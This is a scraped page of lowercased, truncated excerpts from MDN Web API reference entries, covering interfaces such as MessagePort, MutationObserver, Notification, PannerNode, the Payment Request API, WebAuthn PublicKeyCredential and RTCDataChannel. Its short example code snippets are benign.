this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to
this port.
...
this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; myport.onmessageerror = (event) => { console.error(event.data); }; }); specifications specification status html living standard living standard ...
MessagePort.start() - Web APIs
this method is only needed when using eventtarget.addeventlistener; it is implied when using messagechannel.onmessage.
... note:
this feature is available in web workers.
... example in the following code block, you can see a handlemessage handler function, run when a message is sent back to
this document using onmessage: channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } another option would be to do
this using eventtarget.addeventlistener, however, when
this method is used, you need to explicitly call start() to begin the flow of messages to
this document: channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); specifications specification status comment html living standardthe definition of 'start()' in that speci...
Metadata.modificationTime - Web APIs
example
this example tries to get a particular working file at tmp/workfile.json.
...workfile.json", { create: true }, function(fileentry) { fileentry.getmetadata(function(metadata) { if ((new date().getfullyear() - metadata.modificationtime.getfullyear()) >= 5) { fileentry.remove(function() { workingdirectory.getfile("tmp/workfile.json", { create: true }, function(newentry) { fileentry = newentry; }); }); } }); }, handleerror);
this api has no official w3c or whatwg specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
Metadata.size - Web APIs
example
this example checks the size of a log file and removes it if it's larger than a megabyte.
... workingdirectory.getfile("log/important.log", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { fileentry.remove(function() { /* log file removed; do something clever here */ }); } }); }, handleerror);
this api has no official w3c or whatwg specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
MouseEvent.initMouseEvent() - Web APIs
events initialized in
this way must have been created with the document.createevent() method.
...
this method must be called to set the event before it is dispatched, using eventtarget.dispatchevent().
... do not use
this method anymore as it is deprecated.
MouseEvent.which - Web APIs
the standard alternatives to
this property are mouseevent.button and mouseevent.buttons.
...in
this case, the values are read from right to left.
... specification
this is not part of any specification.
msFirstPaint - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
...
this property is supported only for documents displayed in ie9 standards mode.
msRealTime - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
... msrealtime should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as
this can affects playback startup latency of audio and video playback.
msSetMediaProtectionManager - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer and microsoft edge.
... return value
this method does not return a value.
MutationObserver.MutationObserver() - Web APIs
example
this example simply creates a new mutationobserver configured to watch a node and all of its children for additions and removals of elements to the tree, as well as any changes to attributes on any of the elements in the tree.
... creating and starting the observer
this code actually sets up the observation process.
... from
this point until disconnect() is called, callback() will be called each time an element is added to or removed from the dom tree rooted at targetnode, or any of those elements' attributes are changed.
MutationObserver.observe() - Web APIs
this prevents you from missing changes that occur after the connection is severed and before you have a chance to specifically begin monitoring the moved node or subtree for changes.
... theoretically,
this means that if you keep track of the mutationrecord objects describing the changes that occur, you should be able to "undo" the changes, rewinding the dom back to its initial state.
... example in
this example, we demonstrate how to call the method observe() on an instance of mutationobserver, once it has been set up, passing it a target element and a mutationobserverinit options object.
MutationObserver.takeRecords() - Web APIs
the most common use case for
this is to immediately fetch all pending mutation records immediately prior to disconnecting the observer, so that any pending mutations can be processed when stopping down the observer.
... example in
this example, we demonstrate how to handle any undelivered mutationrecords by calling takerecords() just before disconnecting the observer.
...
this is done immediately prior to calling disconnect() to stop observing the dom.
NDEFReader.scan() - Web APIs
signal -- optional abortsignal that allows to cancell
this scan() operation.
... exceptions
this method doesn't throw true exceptions; instead, it rejects the returned promise, passing into it a domexception whose name is one of the following: aborterror the scan operation was aborted with abortsignal passed in options.
... notallowederror the permission for
this operation was rejected.
NDEFWriter.write() - Web APIs
signal -- optional abortsignal that allows to cancell
this write operation.
... exceptions
this method doesn't throw true exceptions; instead, it rejects the returned promise, passing into it a domexception whose name is one of the following: aborterror the write operation was aborted with abortsignal passed in options.
... notallowederror the permission for
this operation was rejected or overwrite is false and there are already records on the tag.
NamedNodeMap - Web APIs
although called namednodemap,
this interface doesn't deal with node objects but with attr objects, which were originally a specialized class of node, and still are in some implementations.
... properties
this interface doesn't inherit any property.
... methods
this interface doesn't inherit any method.
Navigator.mediaSession - Web APIs
this information may, in turn, be shared with the device and/or operating system in order to a device's standard media control user experience to describe and control the playback of the media.
...
this information can include typical metadata such as the title, artist, and album name of the song being played as well as potentially one or more images containing things like album art, artist photos, and so forth.
... example in
this example, metadata is submitted to the mediasession object.
Navigator.msLaunchUri() - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary method is specific to internet explorer, and microsoft edge versions 18 and lower.
...
this enables developers to provide a custom fallback experience for the user.
Navigator.registerContentHandler() - Web APIs
firefox is the only browser that implemented
this feature, and it wasn't implemented to match the standard.
...
this feature has since been removed from the html standard and shouldn't be used.
... recommendation
this feature is present in html 5.2, but has since been removed from the whatwg html living standard.
Navigator.requestMediaKeySystemAccess() - Web APIs
this method is part of the encrypted media extensions api, which brings support for encrypted media and drm-protected video to the web.
...
this method may have user-visible effects such as asking for permission to access one or more system resources.
...as a general rule,
this function should be called only when it's about time to create and use a mediakeys object by calling the returned mediakeysystemaccess object's createmediakeys() method.
NavigatorID.appCodeName - Web APIs
this property is kept only for compatibility purposes.
... note: do not rely on
this property to return a real product name.
... all browsers return "mozilla" as the value of
this property.
NavigatorID.appName - Web APIs
this property is kept only for compatibility purposes.
... note: do not rely on
this property to return a real browser name.
... all browsers return "netscape" as the value of
this property.
NavigatorID.product - Web APIs
this property is kept only for compatibility purposes.
... note: do not rely on
this property to return a real product name.
... all browsers return "gecko" as the value of
this property.
Node.baseURIObject - Web APIs
this property exists on all nodes (html, xul, svg, mathml, etc.), but only if the script trying to use it has universalxpconnect privileges.
...
this property is read-only; attempting to write to it will throw an exception.
... in addition,
this property may only be accessed from privileged code.
Node.isEqualNode() - Web APIs
two nodes are equal when they have the same type, defining characteristics (for elements,
this would be their id, number of children, and so forth), its attributes match, and so on.
... example in
this example, we create three <div> blocks.
... html <div>
this is the first element.</div> <div>
this is the second element.</div> <div>
this is the first element.</div> <p id="output"></p> css #output { width: 440px; border: 2px solid black; border-radius: 5px; padding: 10px; margin-top: 20px; display: block; } javascript let output = document.getelementbyid("output"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 equals div 0: " + divlist[0].isequalnode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 equals div 1: " + divlist[0].isequalnode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 equals div 2:...
Node.isSupported() - Web APIs
the node.issupported()returns a boolean flag containing the result of a test whether the dom implementation implements a specific feature and
this feature is supported by the specific node.
...
this is the same name which can be passed to the method hasfeature on domimplementation.
...in dom level 2, version 1,
this is the string 2.0.
Node.namespaceURI - Web APIs
in dom4
this api was moved from node to the element and attr interfaces.
... syntax namespace = node.namespaceuri example in
this snippet, a node is being examined for its node.localname and its namespaceuri.
... if (node.localname == "browser" && node.namespaceuri == "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul") { //
this is a xul browser } notes
this is not a computed value that is the result of a namespace lookup based on an examination of the namespace declarations in scope.
Node.prefix - Web APIs
in dom4
this api was moved from node to the element and attr interfaces.
... <x:div onclick="console.log(
this.prefix)"/> notes
this will only work when a namespace-aware parser is used, i.e.
...
this will not work for html documents.
NodeIterator.whatToShow - Web APIs
this is meaningful only when creating a nodeiterator or treewalker with an attr node as its root; in
this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...
this is meaningful only when creating a nodeiterator or treewalker with an entity node as its root; in
this case, it means that the entity node will appear in the first position of the traversal.
...
this is meaningful only when creating a nodeiterator or treewalker with a notation node as its root; in
this case, it means that the notation node will appear in the first position of the traversal.
NonDocumentTypeChildNode - Web APIs
nondocumenttypechildnode is a raw interface and no object of
this type can be created; it is implemented by element, and characterdata objects.
... nondocumenttypechildnode.previouselementsibling read only returns the element immediately prior to
this node in its parent's children list, or null if there is no element in the list prior to
this node.
... nondocumenttypechildnode.nextelementsibling read only returns the element immediately following
this node in its parent's children list, or null if there is no element in the list following
this node.
Notification.actions - Web APIs
note:
this feature is available in web workers.
...
this is a list of the application-defined actions the user can choose to take immediately within the context of a notification.
...
this limit can be infered from notification.maxactions.
Notification.close() - Web APIs
note:
this feature is available in web workers.
... note:
this api shouldn't be used just to have the notification removed from the screen after a fixed delay since
this method will also remove the notification from any notification tray, preventing users from interacting with it after it was initially shown.
... a valid use for
this api would be to remove a notification that is no longer relevant (e.g.
Notification.maxActions - Web APIs
note:
this feature is available in web workers.
...effectively,
this is the maximum number of elements in notification.actions array which will be respected by the user agent.
... const maxactions = notification.maxactions; console.log('
this device can display at most ' + maxactions + ' actions on each notification.'); specifications specification status comment notifications api living standard living standard ...
Notification.permission - Web APIs
note:
this feature is available in web workers.
... default: the user decision is unknown; in
this case the application will act as if permission was denied.
... function notifyme() { // let's check if the browser supports notifications if (!("notification" in window)) { console.log("
this browser does not support desktop notification"); } // let's check whether notification permissions have alredy been granted else if (notification.permission === "granted") { // if it's okay let's create a notification var notification = new notification("hi there!"); } // otherwise, we need to ask the user for permission else if (notification.permission !== 'denied' || notif...
OES_element_index_uint - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default.
... extended methods
this extension extends webglrenderingcontext.drawelements(): the type parameter now accepts gl.unsigned_int.
OES_texture_float_linear - Web APIs
availability:
this extension is available to both, webgl1 and webgl2 contexts.
...
this extension enables
this ability.
... with the help of
this extension, you can now set the magnification or minification filter in the webglrenderingcontext.texparameter() method to one of gl.linear, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear, or gl.linear_mipmap_linear, and use floating-point textures.
OES_texture_half_float_linear - Web APIs
availability:
this extension is available to both, webgl1 and webgl2 contexts.
...
this extension enables
this ability.
... with the help of
this extension, you can now set the magnification or minification filter in the webglrenderingcontext.texparameter() method to one of gl.linear, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear, or gl.linear_mipmap_linear, and use half floating-point textures.
OfflineAudioContext.startRendering() - Web APIs
example in
this simple example, we declare both an audiocontext and an offlineaudiocontext object.
... at
this point we create another audio context, create an audiobuffersourcenode inside it, and set its buffer to be equal to the promise audiobuffer.
...
this is then played as part of a simple standard audio graph.
OffscreenCanvas - Web APIs
once a new frame has finished rendering in
this context, the transfertoimagebitmap() method can be called to save the most recent rendered image.
...
this method returns an imagebitmap object, which can be used in a variety of web apis and also in a second canvas without creating a transfer copy.
...
this context only provides functionality to replace the canvas's contents with the given imagebitmap.
OscillatorNode - Web APIs
oscillatornode.type a string which specifies the shape of waveform to play;
this can be one of a number of standard values, or custom to use a periodicwave to describe a custom waveform.
... methods inherits methods from its parent, audioscheduledsourcenode, and adds the following: oscillatornode.setperiodicwave() sets a periodicwave which describes a periodic waveform to be used instead of one of the standard waveforms; calling
this sets the type to custom.
...
this replaces the now-obsolete oscillatornode.setwavetable() method.
PannerNode.distanceModel - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
PannerNode.panningModel - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
PannerNode.rolloffFactor - Web APIs
this value is used by all distance models.the rollofffactor property's default value is 1.
... example
this example demonstrates how different rollofffactor values affect how the volume of the test tone decreases with increasing distance from the listener: const context = new audiocontext(); // all our test tones will last
this many seconds const note_length = 4; //
this is how far we'll move the sound const z_distance = 20; //
this function creates a graph for the test tone with a given rollofffacto...
...; const panner = new pannernode(context); panner.rollofffactor = rollofffactor; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; //
this tone should decay fairly quickly scheduletesttone(1, context.currenttime); //
this tone should decay slower than the previous one scheduletesttone(0.5, context.currenttime + note_length); //
this tone should decay only slightly scheduletesttone(0.1, context.currenttime + note_length * 2); after running
this code, the resulting waveforms should look something like
this: specifications ...
PannerNode.setPosition() - Web APIs
in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
ParentNode.replaceChildren() - Web APIs
this html might look something like
this: <h2>party food option list</h2> <main> <div> <label for="no">no thanks!</label> <select id="no" multiple size="10"> <option>apples</option> <option>oranges</option> <option>grapes</option> <option>bananas</option> <option>kiwi fruits</option> <option>chocolate cookies</option> <option>peanut cookies</optio...
... to do
this, we give each of the buttons a click event handler, which collects together the selected options you want to transfer in one constant, and the existing options in the list you are transferring to in another constant.
...es option'); yesselect.replacechildren(...selectedtransferoptions, ...existingyesoptions); }); nobtn.addeventlistener('click', () => { const selectedtransferoptions = document.queryselectorall('#yes option:checked'); const existingnooptions = document.queryselectorall('#no option'); noselect.replacechildren(...selectedtransferoptions, ...existingnooptions); }); the end result looks like
this: specification specification status comment domthe definition of 'parentnode.replacechildren()' in that specification.
PasswordCredential - Web APIs
in supporting browsers, an instance of
this class may be passed the credential from the init object for global fetch.
... examples
this example shows how to set up an htmlformelement to caputure data which we'll use to create a passwordcredential object.
... <form id="form" method="post"> <input type="text" name="id" autocomplete="username" /> <input type="password" name="password" autocomplete="current-password" /> <input type="hidden" name="csrf_token" value="*****" /> </form> then, a reference to
this form element, using it to create a passwordcredential object, and storing it in the browser's password system.
PayerErrors.name - Web APIs
syntax payername = payererrors.name; value if
this property is present in the payererrors object, the payer's name couldn't be successfully validated, and the name property's value is a domstring explaining the error.
...
this string will be displayed to the user by the user agent's payment handling user interface.
... if the payer's name is valid,
this property is left out of the payererrors object.
PaymentAddress.dependentLocality - Web APIs
this may be an empty string if no sublocality is available or required.
...in the united kingdom,
this is used to indicate the post town in the united kingdom (known officially by the royal mail as the dependent locality).
...
this is a disambiguating feature of addresses in places where a city may have areas that duplicate street names.
PaymentCurrencyAmount.currency - Web APIs
this is the currency in which the payment's value is given.
... all currency values must include the currency system in
this property.
... example
this example represents the price of $42.95 in us dollars.
PaymentCurrencyAmount.currencySystem - Web APIs
warning:
this property has been removed from the specification and should no longer be used; the currency is now always specified using iso 4127.
...
this obsolete property was removed in the may 3, 2018 update of the payment request api specification.
... candidate recommendation the march 20, 2018 version of the specification; the last one to include
this property ...
PaymentCurrencyAmount - Web APIs
this is used to specify the prices of both line items on a payment, using paymentitem objects, and to provide the cost of a shipping option, using paymentshippingoption.
...
this string must only contain an optional leading "-" to indicate a negative value, then one or more digits from 0 to 9, and an optional decimal point (".", regardless of locale) followed by at least one more digit.
...
this has been removed; instead of allowing sites to choose the standard to use, iso 4217 is always used for the currency identifier now.
PaymentRequest: merchantvalidation event - Web APIs
bubbles no cancelable no interface merchantvalidationevent event handler property onmerchantvalidation examples in
this example, an event handler is established for the merchantvalidation event.
...
this response lets the payment handler know if the merchant is validated.
... you can also use the onmerchantvalidation event handler property to set up the handler for
this event: request.onmerchantvalidation = event => { event.complete(async () => { const merchantserverurl = window.location.origin + '/validate?url=' + encodeuricomponent(event.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(response => response.text()); }); }; const response = await request.show(); for more information, see merchant validation in payment processing concepts.
PaymentRequest.onpaymentmethodchange - Web APIs
each time the user does so,
this event is fired.
...
this event may not be fired by all payment handlers.
... examples an example payment method change handler is shown below;
this example handles changes made to the payment method when using apple pay, specifically: request.onpaymentmethodchange = ev => { const { type: cardtype } = ev.methoddetails; const newstuff = {}; if (ev.methodname === "https://apple.com/apple-pay") { switch (cardtype) { case "store": // do apple pay specific handling for store card...
PaymentResponse.methodName - Web APIs
this string may be either one of the standardized payment method identifiers or a url used by the payment handler to process payments.
...
this may be either a standardized identifier, or a url used by the payment processor to handle payments.
...in a real-world implementation
this data would then be sent to a payment server.
PerformanceEntry.name - Web APIs
this property is read only.
... note:
this feature is available in web workers.
...
this value doesn't change even if the request is redirected.
PerformanceMark - Web APIs
entries of
this type are created by calling performance.mark() to add a named domhighrestimestamp (the mark) to the browser's performance timeline.
...api/performancemark" target="_top"><rect x="201" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancemark</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but it extends the following performanceentry properties by qualifying/constraining the properties as follows: performanceentry.entrytype returns "mark".
...(a mark has no duration.) methods
this interface has no methods.
PerformanceMeasure - Web APIs
entries of
this type are created by calling performance.measure() to add a named domhighrestimestamp (the measure) between two marks to the browser's performance timeline.
...rformancemeasure" target="_top"><rect x="201" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="291" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancemeasure</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but it extends the following performanceentry properties by qualifying/constrainting the properties as follows: performanceentry.entrytype returns "measure".
... methods
this interface has no methods.
PerformanceNavigation - Web APIs
this interface is deprecated in the navigation timing level 2 specification.
... an object of
this type can be obtained by calling the performance.navigation read-only attribute.
... performancenavigation.type read only an unsigned short which indicates how the navigation to
this page was done.
PerformanceNavigationTiming - Web APIs
for example,
this interface can be used to determine how much time it takes to load or unload a document.
...ntiming" target="_top"><rect x="201" y="1" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancenavigationtiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface extends the following performanceentry properties for navigation performance entry types by qualifying and constraining them as follows: performanceentry.entrytype read only returns "navigation".
...
this interface also extends following performanceresourcetiming properties for navigation performance entry types by qualifying and constraining them as follows: performanceresourcetiming.initiatortyperead only returns "navigation".
PerformancePaintTiming - Web APIs
use
this information to help identify areas that take too long to provide a good user experience.
...epainttiming" target="_top"><rect x="201" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="311" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performancepainttiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface has no properties but it extends the following performanceentry properties (for "paint" performance entry types) by qualifying and constraining the properties as follows: performanceentry.entrytype returns "paint".
... methods
this interface has no methods.
PerformanceResourceTiming.initiatorType - Web APIs
the value of
this string is as follows: if the initiator is a element, the property returns the element's localname.
... note:
this feature is available in web workers.
... example function print_performanceentries() { // use getentriesbytype() to just get the "resource" events var p = performance.getentriesbytype("resource"); for (var i=0; i < p.length; i++) { print_initiatortype(p[i]); } } function print_initiatortype(perfentry) { // print
this performance entry object's initiatortype value var value = "initiatortype" in perfentry; if (value) console.log("...
PerformanceResourceTiming.nextHopProtocol - Web APIs
when a proxy is used, if a tunnel connection is established,
this property returns the alpn protocol id of the tunneled protocol.
... otherwise,
this property returns the alpn protocol id of the first hop to the proxy.
... note:
this feature is available in web workers.
PerformanceResourceTiming - Web APIs
eresourcetiming" target="_top"><rect x="201" y="1" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="326" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceresourcetiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note:
this feature is available in web workers.
... properties
this interface extends the following performanceentry properties for resource performance entry types by qualifying and constraining them as follows: performanceentry.entrytyperead only returns "resource".
...
this value is equivalent to performanceentry.fetchstart.
PerformanceTiming.domInteractive - Web APIs
this interface of
this property is deprecated in the navigation timing level 2 specification.
...
this property can be used to measure the speed of loading web sites that users feels.
...check if you are in one of these cases before using
this property as a proxy for the user experience of a web site's speed of loading.
Performance API - Web APIs
this type is a double and is used by the performance interfaces.
...entries of
this type are created by calling performance.mark() to add a named domhighrestimestamp (the mark) to the browser's performance timeline.
...entries of
this type are created by calling performance.measure() to add a nameddomhighrestimestamp (the measure) between two marks to the browser's performance timeline.
PointerEvent.getCoalescedEvents() - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...ort 45safari no support nowebview android full support 58chrome android full support 58firefox android partial support 59disabled partial support 59disabled disabled from version 59:
this feature is behind the dom.w3c_pointer_events.enabled preference (needs to be set to true).
...expect behavior to change in the future.user must explicitly enable
this feature.user must explicitly enable
this feature.
PointerEvent.isPrimary - Web APIs
in a multi-pointer scenario (such as a touch screen that supports more than one touch point),
this property is used to identify a master pointer among the set of active pointers for each pointer type.
... syntax var isprimary = pointerevent.isprimary; return value isprimary returns true if the pointer for
this event is the primary pointer and returns false otherwise.
... example
this example illustrates using the value of isprimary to call the appropriate processing function.
PromiseRejectionEvent() - Web APIs
this is case-sensitive and should be one of "rejectionhandled" or "unhandledrejection", to match the event names of the possible (non-synthetic) promiserejectionevent events that user agents can actually fire).
...
this can be anything from a numeric error code to an error domstring to an object which contains detailed information describing the situation resulting in the promise being rejected.
... examples
this example creates a new unhandledrejection event for the promise mypromise with the reason being the string "my house is on fire".
PublicKeyCredential.getClientExtensionResults() - Web APIs
note:
this method may only be used in top-level contexts and will not be available in an <iframe> for example.
...
this object contains a map between the extensions' identifiers and their results from the processing.
... examples var publickey = { // here are the extensions (as "inputs") extensions: { "loc": true, //
this extension has been defined to include location information in attestation "uvi": true // user verification index: how the user was verified }, challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.creden...
PublicKeyCredential.id - Web APIs
this property is a base64url encoded version of publickeycredential.rawid.
... note:
this property may only be used in top-level contexts and will not be available in an <iframe> for example.
... examples var publickey = { challenge: new uint8array(26) /*
this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var id = newcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credential ...
PublicKeyCredential.rawId - Web APIs
the publickeycredential.id property is a base64url encoded version of
this identifier.
... note:
this property may only be used in top-level contexts and will not be available in an <iframe> for example.
...
this identifier is expected to be globally unique and is appointed for the current publickeycredential and its associated authenticatorassertionresponse.
PublicKeyCredentialCreationOptions.challenge - Web APIs
this is randomly generated then sent from the relying party's server.
...
this value (among other client data) will be signed by the authenticator, using its private key, and must be sent back for verification to the server as part of authenticatorattestationresponse.attestationobject.
... examples var publickey = { challenge: new uint8array(26) /*
this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentia...
PublicKeyCredentialCreationOptions.extensions - Web APIs
in other words,
this may be used server side to check if the current operation is based on the same biometric data that the previous authentication.
...the client outputs true if
this was taken into account.
... examples var publickey = { extensions:{ uvi: true, loc: false, uvm: false, exts: true }, challenge: new uint8array(26) /*
this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { /...
PublicKeyCredentialRequestOptions.extensions - Web APIs
this text is displayed on a prompt of the authenticator before verifying the user or testing their presence.
...
this is used to display an image or some non-textual content on the authenticator before verifying the user or testing their presence.
...in other words,
this may be used server side to check if the current operation is based on the same biometric data that the previous authentication.
PublicKeyCredentialRequestOptions - Web APIs
this value will be signed by the authenticator and the signature will be sent back as part of authenticatorassertionresponse.signature.
...
this hint may be overridden by the browser.
...if
this option is not provided, the client will use the current origin's domain.
PushEvent.data - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...ilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdata experimentalchrome full support 57edge full support 16disabled full support 16disabled disabled from version 16:
this feature is behind the enable service workers preference.
...expect behavior to change in the future.see implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
PushManager.hasPermission() - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...edgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethaspermission experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16:
this feature is behind the enable service workers preference.
...expect behavior to change in the future.see implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
PushManager.supportedContentEncodings - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...nternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupportedcontentencodings experimentalchrome full support 60edge full support 16disabled full support 16disabled disabled from version 16:
this feature is behind the enable service workers preference.
...expect behavior to change in the future.see implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
RTCDTMFToneChangeEvent - Web APIs
this interface is used by the tonechange event.
... properties in addition to the properties of event,
this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the previous tone has finished playing.
... examples
this snippet is derived loosely from the full, working example you'll find in when a tone finishes playing in using dtmf with webrtc.
RTCDataChannel.close() - Web APIs
either peer is permitted to call
this method to initiate closure of the channel.
... the sequence of events which occurs in response to
this method being called: rtcdatachannel.readystate is set to "closing".
... in firefox, the rtcdatachannel interface was implemented under the name datachannel until firefox 24, so
this method was called datachannel.close().
RTCDataChannel.onbufferedamountlow - Web APIs
this event, which is represented by a simple event object, is sent when the amount of data buffered to be sent falls to or below the threshold specified by the channel's bufferedamountlowthreshold.
...
this function receives as its only input parameter a simple event object representing the event which has occurred.
... example
this example responds to the bufferedamountlow event by fetching up to 64kb of a file represented by an object source and calling rtcdatachannel.send() to queue up the retrieved data for sending on the data channel.
RTCDataChannel.onclose - Web APIs
this is a simple event which indicates that the data channel has closed down.
... example in
this sample from a hypothetical instant messaging client, a data channel is created, then handlers for the open and close events are set up to enable and disable user interface objects based on the state of the channel.
...
this way, the message entry field and the send button are only enabled for use when the connection is actually open.
RTCDataChannel.onmessage - Web APIs
this event is represented by the messageevent interface.
...
this event is sent to the channel when a message is received from the other peer.
... example
this code snippet creates a peer connection, adds a data channel to it, and starts creating new <p> (paragraph) elements each time a message arrives, with the message's contents displayed inside it.
